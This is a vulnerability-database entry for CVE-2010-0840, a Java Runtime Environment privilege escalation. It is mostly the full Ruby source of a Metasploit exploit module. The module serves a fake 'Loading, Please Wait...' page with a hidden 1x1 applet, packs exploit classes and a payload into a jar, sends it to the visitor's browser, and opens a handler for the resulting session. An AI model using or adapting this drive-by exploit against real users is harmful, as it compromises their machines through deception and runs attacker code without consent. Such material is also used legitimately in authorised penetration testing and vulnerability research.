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Sami Koivu, Matthias Kaiser, egypt <[email protected]>MSF:EXPLOIT-MULTI-BROWSER-JAVA_TRUSTED_CHAIN-

HistoryAug 21, 2010 - 6:38 a.m.

Java Statement.invoke() Trusted Method Chain Privilege Escalation

2010-08-2106:38:29

Sami Koivu, Matthias Kaiser, egypt <[email protected]>

www.rapid7.com

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.944 High

EPSS

Percentile

99.2%

JSON

This module exploits a vulnerability in Java Runtime Environment that allows an untrusted method to run in a privileged context. The vulnerability affects version 6 prior to update 19 and version 5 prior to update 23.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  # Superceded by java_atomicreferencearray
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({ :javascript => false })

  def initialize( info = {} )

    super( update_info( info,
      'Name'          => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',
      'Description'   => %q{
      This module exploits a vulnerability in Java Runtime Environment
      that allows an untrusted method to run in a privileged context.  The
      vulnerability affects version 6 prior to update 19 and version 5
      prior to update 23.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
        'Sami Koivu', # Discovery
        'Matthias Kaiser', # PoC
        'egypt' # metasploit module
      ],
      'References'    =>
      [
        [ 'CVE', '2010-0840' ],
        [ 'OSVDB', '63483' ],
        [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
      ],
      'Platform'      => %w{ java linux win },
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
            }
          ],
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2010-03-31'
      ))
  end


  def on_request_uri( cli, request )
    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect(cli, get_resource() + '/', '')
        return
      end

      print_status("#{self.name} handling request")

      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
      return
    end

    paths = [
      [ "vuln", "Exploit.class" ],
      [ "vuln", "Exploit$1.class" ],
      [ "vuln", "Link.class" ],
    ]

    p = regenerate_payload(cli)

    jar  = p.encoded_jar
    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0,idx].join("/") + "/"
        if !(jar.entries.map{|e|e.name}.include?(full))
          jar.add_file(full, '')
        end
      end
      fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2010-0840", path ), "rb")
      data = fd.read(fd.stat.size)
      jar.add_file(path.join("/"), data)
      fd.close
    end

    print_status( "Sending Applet.jar" )
    send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

    handler( cli )
  end

  def generate_html
    html  = "<html><head><title>Loading, Please Wait...</title></head>"
    html += "<body><center><p>Loading, Please Wait...</p></center>"
    html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
    html += "</applet></body></html>"
    return html
  end
end